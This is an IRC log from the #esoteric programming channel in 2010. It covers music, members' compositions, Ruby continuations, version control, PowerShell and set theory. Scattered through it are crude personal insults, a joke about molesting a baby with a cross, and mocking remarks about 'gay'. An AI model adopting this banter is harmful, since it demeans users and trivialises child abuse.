22:23:55 <fizzie> Twungot actually replies to all mentions of its name, so it said "@theirctrout should be called when the tracer tries to write moving code? hah. foxfire, throw is broken. c supports it however you want" as a reply.
22:23:55 <alise> Autechre is basically the result of catting /dev/random to /dev/audio.
22:24:01 <alise> Well, the later stuff, at least.
22:24:25 <AnMaster> <alise> Autechre is basically the result of catting /dev/random to /dev/audio. <-- see, I said you preferred the weird music
22:24:27 <cpressey> alise: It does sound a little random, to me.
22:24:43 <fizzie> AnMaster: Not (yet). I was tempted by the easiness of doing the Twitter API bits with a normal language. Maybe I'll Funge-98 it later.
22:24:53 <cpressey> I'm promoting Penguin Cafe Orchestra, here.
22:25:06 <AnMaster> cpressey, what is that?
22:25:06 <alise> Listening to a 30 second snippet sort of defeats the point of seeing all the motifs being randomly shuffled about.
22:25:14 <alise> But then you have to be crazy anyway.
22:25:50 <cpressey> AnMaster: http://www.youtube.com/watch?v=FvbCV6E0Wro <-- you might like them, it's sort of modern chamber music.
22:26:07 <AnMaster> cpressey, if that was the one you linked before?
22:26:09 <AnMaster> then yes
22:26:12 <AnMaster> I liked it
22:26:14 <cpressey> Yes.
22:26:20 <pikhq> Hail.
22:26:26 <AnMaster> cpressey, a bit too much hits of percussion though
22:27:17 <cpressey> this one's weirder: http://www.youtube.com/watch?v=ZygIVDql8Bk
22:27:38 <AnMaster> cpressey, well yeah. I don't really like that one
22:28:14 <AnMaster> cpressey, also very weird video
22:28:41 <cpressey> Yyyyyyyes.
22:28:51 <AnMaster> cpressey, but the music alone is weird
22:30:33 <AnMaster> cpressey, anything good by them apart from the first one?
22:32:25 <cpressey> http://www.youtube.com/watch?v=aqpBs8q9iZQ is OK
22:32:45 <cpressey> Has an organ in it though (well, a harmonium)
22:33:19 <cpressey> I like this one! http://www.youtube.com/watch?v=hqBHWOzNBU8
22:33:28 <Gregor> One must be gay to not use "gay" as an insult? Hm.
22:33:55 <AnMaster> cpressey, this one is pretty wtf (the movie): http://www.youtube.com/watch?v=ZLQYnyvN6fA
22:34:16 <pikhq> Using the word "gay" in an entirely appropriate and non-pejorative manner makes me quite gay.
22:34:49 <augur> pikhq: it also makes you quite ay.
22:34:51 <augur> gay.
22:35:03 <Sgeo> I think I'm in love with Ruby's throw/catch
22:35:14 <augur> ive never used it
22:35:16 <alise> Sgeo: nobody uses it. also it's different from begin/rescue for no reason
22:35:44 <Sgeo> I imagine that throw/catch would be used for non-exceptional flow
22:35:51 <Sgeo> And begin/rescue for dealing with errors
22:35:55 <Asztal> I didn't know it even had throw/catch :/
22:36:27 <Sgeo> If I'm in the middle of a loop asking for user input, I can see myself using it for when the user does a quit thing
22:36:27 <AnMaster> <cpressey> http://www.youtube.com/watch?v=aqpBs8q9iZQ is OK <-- well, too much pop somehow
22:36:32 <AnMaster> cpressey, maybe it is the clear beat
22:37:01 <AnMaster> cpressey, the type of music I prefer don't use percussion to mark the beat
22:37:17 <alise> Sgeo: nobody uses it
22:37:20 <alise> also: "break"
22:37:38 <Sgeo> Suppose it's in a nested loop, and I want to directly leave the inner one, then
22:37:46 <Sgeo> erm, leave both
22:38:57 * cpressey goes back to Mendelssohn
22:39:24 <Sgeo> Also, I love Ruby's Fibers
22:39:39 <AnMaster> fibers?
22:39:56 <AnMaster> cpressey, Kraus ftw. With proper chamber orchestra
22:44:56 <alise> 09:50:17 <Gregor> I wonder which language Swiss reduces to 'ch' in ...
22:44:59 <alise> latin
22:45:03 <alise> confederico (sp) helvetica
22:45:07 <alise> no swiss language
22:45:09 <Gregor> alise: That was answered a long time ago :P
22:45:11 <alise> well maybe an old one
22:45:13 <alise> Gregor: :P
22:47:22 <AnMaster> cpressey, this was one good recording of vivaldi's summer (last movement) btw http://www.youtube.com/watch?v=u12_M4I2KxE&fmt=18
22:48:24 <cpressey> http://www.youtube.com/watch?v=Y7F4z8FV6ME <-- my absolute favourite of Beethoven.
22:48:43 <AnMaster> cpressey, queued!
22:49:10 <cpressey> AnMaster: likewise
22:49:49 <AnMaster> cpressey, the recording of vivaldi's summer that I prefer is different
22:49:53 <AnMaster> have the cd next to me
22:49:58 <AnMaster> it isn't even naxos
22:52:16 -!- alise has quit (Ping timeout: 252 seconds).
22:52:50 <AnMaster> cpressey, http://musicbrainz.org/release/d875de37-cb74-4c2b-8218-399cd64cfa4f.html
22:53:27 <AnMaster> cpressey, this cd it seems http://www.arkivmusic.com/classical/album.jsp?album_id=169771
22:55:07 -!- kar8nga has quit (Remote host closed the connection).
22:55:28 <AnMaster> cpressey, that is the best recording of the four seasons I have yet heard
22:55:40 <AnMaster> cpressey, as for your Beethoven link. Meh
22:55:47 <AnMaster> cpressey, nice bg music
22:56:01 <AnMaster> but not something I will remember 2 minutes after
22:56:17 <Sgeo> Annoyance: There are two Ruby channels
22:56:26 <AnMaster> Sgeo, oh? are there?
22:56:36 <AnMaster> we need to add one more then
22:56:39 <Sgeo> The only distinctions are the people in them and the name. And one is "official", but that doesn't make it more active
22:56:45 <Sgeo> #ruby and #ruby-lang
22:57:01 <coppro> let's make #ruby-real
22:57:08 <Sgeo> 315 in #ruby 317 in #ruby-lang
22:57:15 <cpressey> AnMaster: this is a rather violent rendition of "Summer"
22:58:48 -!- oerjan has joined.
22:59:18 <AnMaster> cpressey, indeed!
22:59:24 <AnMaster> cpressey, but I love it
22:59:48 <AnMaster> cpressey, the one "best recording" is somewhere in between the normal tempo and that "violent" one
22:59:53 * cpressey goes back to his "background" music
23:02:35 <Gregor> http://codu.org/music/vg/zee5.ogg Background music!
23:02:36 -!- MigoMipo has quit (Remote host closed the connection).
23:03:02 -!- augur has quit (Ping timeout: 246 seconds).
23:04:05 <AnMaster> cpressey, I agree that Kraus youtube video is somewhat pompous yes. I really should dcc you the flac I have of it locally!
23:04:07 <AnMaster> :/
23:05:59 * cpressey never knows what to make of Gregor's compositions
23:06:13 <Sgeo> Gregor, I think I've heard that before
23:06:20 <Sgeo> Is that the one you were using to test that thing?
23:06:41 <Gregor> Sgeo: Yeah.
23:06:49 <AnMaster> cpressey, I love some of them
23:07:39 * AnMaster listen to this last one
23:07:53 <AnMaster> Gregor, square wave?!
23:07:59 <Gregor> Sawtooth.
23:08:07 <AnMaster> Gregor, :((((((((((((((((
23:08:20 <Gregor> This is supposed to be pseudo-retro-video-game music.
23:08:20 <AnMaster> Gregor, sine wave is the only correct shape for music!
23:08:27 <Gregor> Poor horns :P
23:08:28 <cpressey> I keep seeing dancers in trenchcoats and fedoras on an elevated stage
23:08:40 <AnMaster> Gregor, and yes okay in that capacity...
23:08:48 <Sgeo> lol
23:08:51 <AnMaster> Gregor, but then it should be more beepy
23:08:56 <Sgeo> Someone linked somewhere.. osgeo.org
23:09:02 <cpressey> It must be the finger snaps
23:09:02 <Gregor> AnMaster: Hence "pseudo"
23:09:09 <AnMaster> Gregor, all all of it should be such
23:10:03 <Sgeo> And it's something I'm not necessarily opposed to!
23:10:05 <Gregor> Try a different style and everybody just complains :P
23:10:11 <Sgeo> [Sgeo also stands for Sacred Geometry]
23:10:18 <Gregor> How 'bout http://codu.org/music/vg/zee3.ogg
23:10:19 * cpressey wasn't complaining
23:10:35 * cpressey was hallucinating mildly, is all
23:10:39 <Gregor> lol
23:11:00 <AnMaster> Gregor, I just dislike non-sine :(
23:11:28 <Gregor> Sine wave is so DULL.
23:11:32 <Gregor> No friggin' overtones.
23:11:34 <AnMaster> Gregor, I accept cos too!
23:11:54 <AnMaster> <Gregor> How 'bout http://codu.org/music/vg/zee3.ogg <-- nice
23:12:44 <Gregor> May or may not be playable on a real accordion :P
23:13:02 <cpressey> Well, whatever the reason, Gregor's music makes me hallucinate
23:13:07 <AnMaster> Gregor, heh
23:13:19 <AnMaster> cpressey, what do you see?
23:13:39 -!- tombom_ has quit (Quit: Leaving).
23:13:46 <cpressey> A log cabin in the woods
23:13:55 <AnMaster> Gregor, what about real instruments? they get overtones?
23:14:00 <Sgeo> Gregor, why isn't op12 listed on codu.org/music?
23:14:07 <Gregor> AnMaster: Uhhh, yes?
23:14:12 <Gregor> Sgeo: It's not finished, that's a work in progress preview.
23:14:16 <AnMaster> Gregor, and why can't you get that on sine?
23:14:27 <Gregor> AnMaster: The mathematical properties of sine waves.
23:14:40 <Sgeo> AnMaster, how do you know about Sine waves?
23:14:41 <Gregor> Their perfection is their imperfection.
23:14:42 <Sgeo> erm, Sine?
23:14:51 <Gregor> Sgeo: Stop being an idiot :P
23:14:52 <AnMaster> Gregor, so do something closer to real instruments then?
23:14:59 <Gregor> OK, I'll go with ... a sawtooth wave.
23:15:01 <Sgeo> Gregor, I'm allowed to be silly
23:15:06 <AnMaster> Sgeo, I know about sine too btw
23:15:21 <cpressey> I see no reason this couldn't be played on a real accordion (not that I can play accordion)
23:15:28 <AnMaster> Sgeo, the issue is we can't detect when you are genuinely idiotic or when you are just silly
23:15:49 <Sgeo> How often am I genuinely idiotic? :(
23:15:54 <Gregor> cpressey: There's the issue, I have no idea what the limits of a real accordion are :P
23:16:11 * AnMaster gets the other zee*.ogg
23:16:24 <Gregor> Eh, the rest are less good than those two.
23:16:31 <AnMaster> Gregor, too late
23:16:36 <AnMaster> Gregor, ooh I like zee1!
23:16:54 <AnMaster> Gregor, but what is that "weird" instrument
23:17:01 <cpressey> Gregor: Well, it's basically a keyboard with a 2- to 3- octave range, I believe. The buttons add "pre-programmed" chords iirc.
23:17:01 <Gregor> "Ice rain", it's a synth effect.
23:17:05 <AnMaster> Gregor, ah
23:17:34 <AnMaster> Gregor, low quality sound fount for zee1?
23:17:43 <Gregor> cpressey: Yes, but the pre-programmed chords available vary, to my knowledge, from instrument to instrument. They certainly include a fifth, major and minor thirds, sevenths and augmented sevenths, but beyond that, Idonno.
23:17:44 <AnMaster> or meant to be that way?
23:18:10 <Gregor> AnMaster: For which instrument? I actually downgraded the piano intentionally, the accordion is good, the others were the best I could find.
23:18:23 <AnMaster> Gregor, piano mainly
23:18:31 <AnMaster> but okay
23:18:37 <Gregor> Yeah, the piano I downgraded because the others were OK-ish but not great, and the piano stood out too much ;P
23:18:43 <Sgeo> The .. pacing of a bit of zee1 is a bit off-putting, but other than that, it's a bit nice
23:18:50 <AnMaster> Gregor, all needs to be perfect piano level
23:18:53 <AnMaster> Gregor, kind of
23:19:20 <AnMaster> Sgeo, how is the pacing "off-putting"
23:19:29 <AnMaster> what is off-putting is that it ends in the middle of a tone
23:19:41 <Gregor> AnMaster: zee* loop
23:19:45 <cpressey> Hm, it's been a hell of a long time since I've written any music. Most of my compositions are lost due to various forms of data loss.
23:19:48 <AnMaster> Gregor, aha!
23:19:50 <Sgeo> It's just.. awkward, somehow
23:19:59 <AnMaster> Sgeo, no it is not
23:20:10 <AnMaster> it is perfect except for needing higher quality samples
23:20:13 <Sgeo> Maybe not pacing, but I keep getting the impression that bits are not aligned with other bits temporally, or something
23:20:18 <AnMaster> Gregor, zee2 is interesting
23:20:35 <AnMaster> Gregor, what are the instruments in zee2? Does it include xylophone?
23:21:03 <Gregor> Marimba.
23:21:11 <AnMaster> Gregor, is that something similar?
23:21:21 <cpressey> Half the things I wrote were saved in a proprietary format for a software package that doesn't even install properly on any windows since Windows 95.
23:21:25 <Gregor> IIRC, a marimba is basically identical to a xylophone except that it has resonators.
23:21:37 <AnMaster> ah
23:21:39 <Gregor> At least, the means by which it produces a tone is basically identical, the layout is a bit different.
23:22:15 <cpressey> Also, marimba tends to be played with felt-covered mallets, iirc
23:22:33 <cpressey> Oh wait, so does xylo.
23:22:36 <cpressey> I was thinking glock.
23:22:44 <cpressey> Metal against metal
23:22:49 <cpressey> Very pretty.
23:22:50 <Gregor> cpressey: The marimba is to the xylophone as the vibraphone is to the glockenspiel.
23:23:13 <Gregor> Conversely, the marimba is to the vibraphone as the xylophone is to the glockenspiel.
23:23:42 <cpressey> Percussion instrument homomorphisms
23:23:54 <AnMaster> Gregor, zee4 is interesting
23:24:11 <AnMaster> Gregor, zee2 was a bit nervous if you see what I mea
23:24:12 <AnMaster> mean*
23:24:20 <Gregor> I haven't a clue :P
23:24:22 <AnMaster> Gregor, zee1 was best IMO
23:24:23 <Sgeo> AnMaster, you passed zee3. I take it that zee3 isn't particularly interesting?
23:24:33 <AnMaster> Sgeo, we went over that one first didn't we?
23:24:38 <Sgeo> Oh, right
23:24:55 <cpressey> Ayy zee1 now I'm in Eastern Europe somewhere, possibly Prague
23:25:05 <AnMaster> oh?
23:25:09 <AnMaster> I didn't feel that
23:25:13 <cpressey> Someone is trying to sell me a watch!
23:25:18 <AnMaster> but zee1 with better samples = total win
23:25:43 <AnMaster> Gregor, zee4: Wait, why are we playing Perfect Dark in an n64 emulator?
23:25:46 <AnMaster> :P
23:25:50 <Gregor> ?
23:25:57 <AnMaster> Gregor, it makes me think of that game
23:26:10 <AnMaster> Gregor, never played it?
23:26:12 <Gregor> Nope
23:26:20 <Gregor> Did its music too use a heartbeat as a percussive instrument?
23:26:26 <AnMaster> Gregor, some levels have some music in the same style
23:26:29 <AnMaster> Gregor, no
23:26:35 <AnMaster> but other parts of it
23:26:41 <AnMaster> was similar
23:27:06 <AnMaster> Gregor, or it *MIGHT* have. I don't know
23:27:54 <Sgeo> Apparently, asking in ruby why the channel exists is a Frequently Asked Question, considering how someone said "We need an FAQ"
23:28:08 <AnMaster> Gregor, so total ordering: zee1 (needs better samples) > zee4 > the rest
23:28:52 <Gregor> Gee, my favorites didn't even make the list :P
23:29:06 <AnMaster> Gregor, not my fault :P
23:30:19 <AnMaster> Gregor, I think zee3 was at the bottom
23:30:23 <AnMaster> zee5 just above it
23:30:27 <Gregor> Wow X-D
23:30:30 <AnMaster> so that leaves zee2 in between
23:30:44 * Sgeo finds it somewhat difficult to form opinions sometimes
23:30:52 -!- coppro has quit (Read error: Operation timed out).
23:31:16 <AnMaster> Gregor, and zee2 felt towards the end like the performer had nervous reactions or something
23:31:40 <AnMaster> Gregor, I think it is the fast paced playing on Marimba that does it
23:31:52 <AnMaster> Gregor, apart from that zee2 is quite nice
23:32:48 <AnMaster> Gregor, oh and I don't really like accordion
23:32:55 <Gregor> Bahaha
23:33:00 <Gregor> But there's accordion in zee1 :P
23:33:10 <AnMaster> Gregor, well, not as noticable
23:33:24 <Gregor> Because it's not playing like an accordion.
23:33:31 <Gregor> In zee3 it's actually playing like an accordion.
23:33:33 <AnMaster> Gregor, that explains it!
23:35:32 <AnMaster> Gregor, zee5 could raise a lot of you could get a nicer wave form but keep the electronic feel
23:35:53 <AnMaster> Gregor, or maybe just fuzz out it or something
23:36:07 <AnMaster> so it didn't poke you in the ear basically
23:37:12 <AnMaster> night →
23:39:24 <cpressey> zee5 > zee3 > zee1 > zee2 > zee4
23:42:56 -!- jcp has quit (Remote host closed the connection).
23:44:53 <cpressey> Sorry, I can't even get to the end of zee4.
23:45:06 <Sgeo> They took call/cc out of Ruby :(
23:45:34 <cpressey> Sgeo: I thought someone told me here the other day they decided to put it back in
23:45:59 <Sgeo> o.O?
23:46:00 -!- jcp has joined.
23:46:10 <Gregor> They will be removing and re-adding it to every other version from now on.
23:47:34 <cpressey> hey, I can't blame them, I waffle plenty on my own designs
23:51:01 <pikhq> call/cc, though.
23:53:06 <cpressey> I can imagine the arguments that must go on about it, on their mailing list.
23:53:40 <cpressey> "No one uses that!" "I do!" "It's hard to implement efficiently on the JVM!" "That shouldn't be a consideration!" etc
23:53:47 <pikhq> "call/cc is hard!"
23:53:54 <cpressey> basically, yes.
23:53:56 <pikhq> "LOL USE LISP"
23:53:59 <Gregor> "I'll call/cc your MOM hard!"
23:54:00 <cpressey> continuations make the baby jesus cry
23:54:13 <pikhq> cpressey: That's quite ridiculous.
23:54:19 <pikhq> Baby Jesus invented continuations.
23:54:40 <cpressey> pikhq: Sorry, I missed quote marks on that one.
23:54:46 <cpressey> And it was an actual quote, too
23:54:52 <pikhq> Ah.
23:55:14 <pikhq> Continuations are, like, the ultimate form of flow control.
23:55:33 <cpressey> Anonymous feedback from a classmate from when I took a programming languages class a few years ago
23:56:05 <Sgeo> You take classes in which they teach continuations?
23:56:08 * Sgeo is jealous
23:57:05 <cpressey> Yes, it was nice of them. They *almost* managed to teach us monads in that cirriculum, too.
23:57:07 <cpressey> *Almost*.
2010-03-06
00:09:03 -!- jcp has quit (Read error: Connection reset by peer).
00:10:12 -!- jcp has joined.
00:16:14 <fizzie> We got continuations on the second half of our Scheme course; and the course was dropped pretty much immediately after I had done it. They arranged it as a summer special once, but it might well be that we currently don't have any courses with continuations in them.
00:22:29 -!- alise has joined.
00:22:31 <alise> 10:42:18 <hiato> Lambdas in C? Coincidentally, I have just discovered a marvellous little proof that no god can exist, written in CLambda, which this magin is too narrow to contain
00:22:35 <alise> ssh -- pikhq is a christian
00:22:43 <alise> he'll /maul/ you
00:23:06 <Gregor> He's Maulutheran.
00:23:22 <alise> 10:47:38 <hiato> ah, so this is one of those places that hg >> bza >> svn >> cvs == True
00:23:27 <alise> no, that is just anmaster.
00:24:12 <pikhq> alise: That was discussing *my code* you know. :P
00:24:22 <alise> that was my point
00:24:31 <pikhq> Ah.
00:24:46 <pikhq> I freely admit my C lambda macros are an affront to all that is good in the world.
00:24:46 <alise> it's like using the cross to molest a baby: only kosher if you're simultaneously catholic and jewish (otherwise you don't care about kosherosity)
00:24:49 <pikhq> :P
00:26:03 * Sgeo wonders what #esoteric 's opinion on git is. I kind of like the existance of GitHub
00:26:22 <MissPiggy> i don't see what github has to do with git
00:26:29 * cpressey is a distributed version control luddite
00:26:30 <MissPiggy> there could easily be svnhub or whatever..
00:26:44 <pikhq> Git is rather user-unfriendly, but it sucks less than non-distributed version control things, so. *shrug*
00:26:58 <cpressey> If there are multiple repos, why are there still multiple branches?
00:27:34 <cpressey> The multiple repos I've got checked out on my filesystem are 96+% identical -- why aren't they sharing their data?
00:27:43 <Sgeo> MissPiggy, but there isn't, is there?
00:27:57 <pikhq> cpressey: Because filesystems suck.
00:28:06 <cpressey> Oh sorry, I mean, I've got *cloned*
00:28:11 <MissPiggy> I'm just saying that there needn't be any 'git' in github
00:28:20 <MissPiggy> I agree that it's a good site though
00:28:27 <cpressey> pikhq: That's no reason for hg to not understand the concept though
00:28:42 <Gregor> Uhhh
00:28:43 <pikhq> cpressey: File systems make data sharing difficult.
00:28:44 <cpressey> It knows its data is immutable
00:28:46 <Gregor> They are hardlinked in hg
00:28:53 -!- dev_squid has joined.
00:28:53 <pikhq> UNIX ones less so than most others.
00:29:01 <pikhq> And Gregor says hg does hardlinks, so.
00:29:17 <Gregor> The .hg directory's contents are hardlinked when you hg clone.
00:29:40 <cpressey> Gregor: Ah. I see. I need to be cloning from a local repo in order for it to do that.
00:29:43 * pikhq notes that COW is a good idea for any sort of on-hard disk serialisation scheme to have.
00:29:50 <Gregor> cpressey: ... uhh, yes?
00:29:54 <Gregor> How else could it possibly work?
00:29:55 <cpressey> I'm cloning multiple copies of the same remote repo
00:30:00 <Gregor> Ahhhhh
00:30:02 <cpressey> It should still be able to figure that out :)
00:30:03 <Gregor> Well, it's not psychic.
00:30:12 <pikhq> cpressey: ... It's not going to magically figure out that you're doing data sharing.
00:30:14 <alise> psychics
00:30:14 <cpressey> Well, it should have a way for me to tell it
00:30:16 <alise> psychic control system
00:30:26 <alise> cpressey: see this is just the kind of thing you need my OS for :P
00:30:28 <pikhq> Clone from your clones.
00:30:31 <Gregor> cpressey: There's a very simple way: Clone the remote one once, then clone that multiple times.
00:30:39 <Gregor> cpressey: That tells it exactly what you want to tell it.
00:30:47 <pikhq> Or use ehirdOS.
00:31:01 <cpressey> Yay complexity.
00:31:08 <pikhq> ...
00:31:23 <cpressey> Well, I'll try it, and see if it makes my life any easier.
00:32:07 <cpressey> But now the argument for supporting branches is even weaker :)
00:32:24 <pikhq> Uh, no?
00:33:02 <cpressey> What advantage to branches have over just forking a clone?
00:33:12 <cpressey> *do
00:33:39 <alise> ehirdOS certainly makes your life easier, as long as you have no attachment to existing software suites whatsoever :P
00:33:42 <alise> Or interfaces...
00:33:50 <alise> Or languages, or APIs.
00:34:17 <pikhq> A branch notes that the branch was made, allows you to merge things more readily, and... Yeah.
00:34:37 <alise> 12:11:39 <AnMaster> the vulgar sense of "classical" music
00:34:49 <alise> 12:11:44 <AnMaster> I call "art music"
00:35:14 <pikhq> I'm pretty sure that's called "concert music".
00:35:16 <cpressey> ...and makes my life hell during merges, is all I'm sayin' :)
00:35:31 -!- alise_ has joined.
00:35:33 <Gregor> pikhq: ... no.
00:35:42 <pikhq> Gregor: No? Okay then.
00:35:56 <pikhq> "Art music" is really a rather arrogant phrase. Particularly since... Other music is (or at least can be) an art.
00:36:23 <alise_> Orchestral music, maybe? Although there's orchestral rock, even.
00:36:34 <alise_> Let's just call it composer music, because composers are the only ones who listen to it :)
00:36:49 <Gregor> alise_: Definitely no on both counts.
00:36:54 <lament> why not call it classical music?
00:36:59 <lament> what's wrong with that?
00:37:10 <pikhq> Because that's music from a specific period with a very specific style.
00:37:15 <lament> no
00:37:19 <alise_> lament: Because AnMaster is a pretentious fuck who lives in the 1800s who is also a gigantic prescriptivist.
00:37:22 <Gregor> Because classical is an era. By calling all music of the form classical music, you've removed the name from that era.
00:37:26 <Gregor> (An era and a style)
00:37:28 <lament> that's a *different* meaning of the word "classical"
00:37:34 <cpressey> Yay
00:37:39 <cpressey> 'Night folks. Have a good weekend.
00:37:45 -!- cpressey has left (?).
00:37:55 <lament> it's ok to have multiple meanings if there's no confusion
00:37:58 <lament> and there's no confusion
00:38:01 <Gregor> There is MUCH confusion.
00:38:13 <lament> which is why people call classical music classical music, and they call classical music classical music, and nobody is confused.
00:38:18 <alise_> Only amongst yourselves.
00:38:25 <alise_> Just call it the classical period.
00:38:30 <alise_> Classical period music.
00:38:31 <lament> everybody knows that "classical music" means two different things
00:38:44 <lament> "classical" refers to ancient greece anyway
00:38:49 <lament> so there're at least 3 meanings
00:38:50 <Gregor> Classical music is the style of music from the classical period, classical music does not need to be from the classical period.
00:39:20 -!- alise has quit (Ping timeout: 252 seconds).
00:39:30 <pikhq> The problem is there's not a term for the music in question here.
00:39:36 <pikhq> I suggest ucodnawg.
00:41:20 <alise_> You're the man now, ucodnawg
00:41:31 <alise_> Gregor: Shaddap
00:41:47 <alise_> also, it turns out windows 7 ships with something genuinely interesting
00:41:52 <alise_> (As opposed to morbidly curious)
00:42:23 <alise_> what's more, it's programming-related
00:43:00 <pikhq> Oh?
00:44:08 <alise_> Yes. PowerShell, in particular. Take, for instance, the seemingly-trivial "type | ls".
00:44:26 <alise_> Dealiased, Get-Content | Get-SubItem.
00:44:32 <alise_> But what happens when you run it?
00:44:53 <alise_> Erm. Failure, because I made a mistake X-D
00:45:05 <alise_> Take "echo | ls".
00:45:20 <alise_> That is, Write-Output | Get-SubItem.
00:45:24 <alise_> When run:
00:45:57 <alise_> cmdlet Write-Output at command pipeline position 1
00:46:15 <alise_> Supply values for the following parameters:
00:46:27 <alise_> InputObject[0]: .
00:46:38 <alise_> InputObject[1]: Music
00:46:39 <pikhq> Ah. PowerShell -- damned verbose shell, but flexible.
00:46:43 <alise_> InputObject[2]:
00:46:48 <alise_> [humdrum dir listing]
00:46:57 <alise_> The interesting thing is the flexibility.
00:47:07 <alise_> echo doesn't just print some strings to standard output.
00:47:23 <alise_> It uses a generalised object input mechanism - command-line or interactive - and sends those objects along the pipeline.
00:47:38 <alise_> Get-SubItem actually takes a legitimate resource, not just a path name, and lists its subitems. Not just directories, either.
00:47:56 <alise_> It strikes me as similar to concatenative languages.
00:48:58 -!- dev_squid has quit (Ping timeout: 248 seconds).
00:49:01 <alise_> ChildItem, not SubItem.
00:49:24 -!- Gracenotes has joined.
00:49:59 <alise_> In fact the input/output UI + behind the scenes, rich objects idea is tempting for my OS.
00:50:17 <alise_> interfaces are composable because they're just functions with seasoning
00:50:33 <alise_> (and even unannotated functions get simple "default" UIs)
00:54:55 <alise_> 13:25:21 <AnMaster> btw, has anyone invoked rule 34 on rule 34?
00:55:03 <alise_> yes; was fulfilled with wolfram elementary automation 34
00:55:29 <alise_> 13:27:11 <AnMaster> (be aware of that tvtroupes is highly addictive!)
00:55:29 <alise_> Tropes.
00:57:47 -!- oerjan has quit (Quit: Later).
00:59:46 <Gregor> GUILTY!
01:03:27 <alise_> Meggricxshienneh.
01:07:56 <alise_> Welcome to the Tableauic Home of the Emigrants.
01:09:18 -!- oklokok has quit (Remote host closed the connection).
01:09:42 -!- oklokok has joined.
01:10:21 <alise_> yo oklokok
01:10:45 <MissPiggy> I should stop worrying about ehird
01:12:34 -!- BeholdMyGlory has quit (Remote host closed the connection).
01:12:41 <Gregor> Worry about okloCOCK instead.
01:13:06 <alise_> MissPiggy: why?
01:13:41 <MissPiggy> okloCOCK taught me something awesome
01:16:02 <Gregor> And that is?
01:16:20 <MissPiggy> Gregor, kind of like combinator logic excep they don't reduce
01:16:37 <MissPiggy> this word problem stuff which I had never actaully encountered
01:16:56 <MissPiggy> it feels a little bit like diophantine equations too
01:18:06 <alise_> ;
01:18:39 <Slereah> I tried reading the Diophante book once
01:18:46 <Slereah> The notation is pretty old school
01:18:46 -!- angstrom_ has changed nick to angstrom.
01:18:53 -!- oklokok has quit (Read error: Operation timed out).
01:25:59 -!- oklokok has joined.
01:26:02 <MissPiggy> THE diophantine book?
01:27:30 <Slereah> Yeah
01:27:34 <Slereah> Arithmetica
01:33:07 -!- oklokok has quit (Read error: Operation timed out).
01:33:44 -!- oklokok has joined.
01:35:54 <MissPiggy> ohh
01:35:57 <MissPiggy> Gauss?
01:36:24 <MissPiggy> oh it's by Diophantus
01:36:25 <MissPiggy> okay
01:36:30 <MissPiggy> Id not heard of this somehow
01:36:38 <MissPiggy> is it wort reading?
01:37:12 <alise_> x
01:37:25 <Slereah> Well, I only found a version in greek with a latin translation
01:37:30 <Slereah> So it's a bit hard to follow
01:37:35 <MissPiggy> heh
01:37:42 <Slereah> I can read the equations now, but not much else
01:38:44 <Slereah> I tried making this : http://esolangs.org/wiki/User:Slereah/Arithmetica
01:39:34 <MissPiggy> cool
01:42:05 <uorygl> `translate Ang. plass til barnevogner:
01:42:18 <HackEgo> Regarding space for prams:
01:42:26 <Slereah> `swedish Ang. plass til barnevogner:
01:42:27 <HackEgo> Ung. pless teel bernefugner:
01:42:33 <uorygl> `translate Tro meg, plassen er et betraktelig større problem enn å få vognen inn og ut.
01:42:35 <HackEgo> Believe me, the place is a considerably larger problem than to get the cart in and out.
01:42:51 <uorygl> `translate Nå har riktignok mange kvinner kommet frem til en eller annen "vedtatt sannhet" om at det ikke er mulig å bære en liten vogn opp tre trappetrinn alene, selv når det gjelder små triller som man lett får grep på, men det er et forsvinnende problem ettersom de aller fleste nyere busser her er trappeløse.
01:42:53 <HackEgo> because the vast majority of newer buses here are step-less.
01:43:24 <Gregor> I wish somebody who was totally not me would fix translatefromto and translateto :P
01:43:35 <uorygl> We just need to make a copy of Gregor.
01:43:41 <uorygl> Hmm...
01:43:46 <uorygl> Gregor, I would like to be a copy of you.
01:43:46 <Gregor> That person would not be "totally not me"
01:43:50 <Gregor> That person would be "mostly me"
01:44:00 <uorygl> You may commence sending yourself.
01:48:00 <alise_> A truly set language would be fun.
01:48:35 <alise_> { {x,{x,x}} | x <- a } is id
01:49:18 <alise_> { {x,{x,{{y,{y,y}}}}} | x <- a, y <- b } is K
01:49:45 <alise_> where (x,y) = {x,{x,y}} and \x.y is {{x',y'},...} for all values
01:51:13 <MissPiggy> alis lool enjoy your russles paradox
01:51:14 <alise_> { {n} U n | n <- a } is succ (U=union, I probably got it the wrong way around again :))
01:51:34 <alise_> MissPiggy: uh you can have inductively defined sets without russel's paradox, idiot
01:51:36 <alise_> *Russell
01:51:50 <MissPiggy> (1) fuck you
01:51:53 <MissPiggy> (2) learn set theory
01:53:43 <Gregor> I'll fuck set theory right into your skull?
01:55:58 -!- alise_ has quit (Ping timeout: 252 seconds).
01:57:19 <Quadrescence> (3) realize lisp is really just analogous to all that was just said
01:59:13 <Gregor> (4) fuck lisp right into your skull
02:01:56 <Quadrescence> I'd love that
02:02:01 <Quadrescence> nice curvy forms
02:02:10 <Gregor> D-8
02:02:33 <Quadrescence> nice sexp character
02:03:08 * Sgeo should learn Scheme, probably
02:03:13 <Sgeo> But I'm still on a Ruby high
02:03:46 <Quadrescence> Sgeo: Ugh dump that shit and learn scheme
02:03:59 <pikhq> Ugh dump that shit and love you some Haskell.
02:04:11 <Quadrescence> No, don't listen to pikhq's fanboyism
02:04:18 <Quadrescence> All haskelletons are the same
02:04:35 <pikhq> ... Morphisms on the category Hask?
02:04:38 <Sgeo> Fuck it, I'll learn PHP. You all lose.
02:04:52 <pikhq> Sgeo: No, only you lose in this case.
02:04:55 <Sgeo> (With me included in "you all", obviously)
02:04:57 <pikhq> ... Lose all remaining humanity, that is.
02:05:10 <pikhq> (see zzo38)
02:05:54 <Sgeo> "There will be no in-depth pedagogy; no dwelling on the semantic appeal of Scheme; no metacircular interpreters; no discussion of the underlying implementation; and no evangelizing about Scheme's virtues"
02:06:04 <Sgeo> Hm, maybe I should skip this tutorial
02:08:35 <MissPiggy> Sgeo LERN PYTHIN
02:08:47 <MissPiggy> :x
02:09:07 <Gregor> Learn MIPS assembly
02:09:29 <Sgeo> Python is my main languag
02:09:33 <Sgeo> *language
02:09:46 <MissPiggy> that was quick
02:10:48 <Gregor> lol
02:10:49 -!- MissPiggy has quit (Quit: Lost terminal).
02:11:37 -!- Asztal has quit (Ping timeout: 264 seconds).
02:26:52 <Sgeo> Hm, should I use PLT-Scheme?
02:28:55 <Gregor> NOOOOOES
02:29:08 -!- dev_squid has joined.
02:29:48 <Gregor> More so than any other Scheme, PLT stands for Pretentious Little Troglodytes
02:29:58 -!- MizardX has quit (Ping timeout: 276 seconds).
02:30:15 <Sgeo> ??
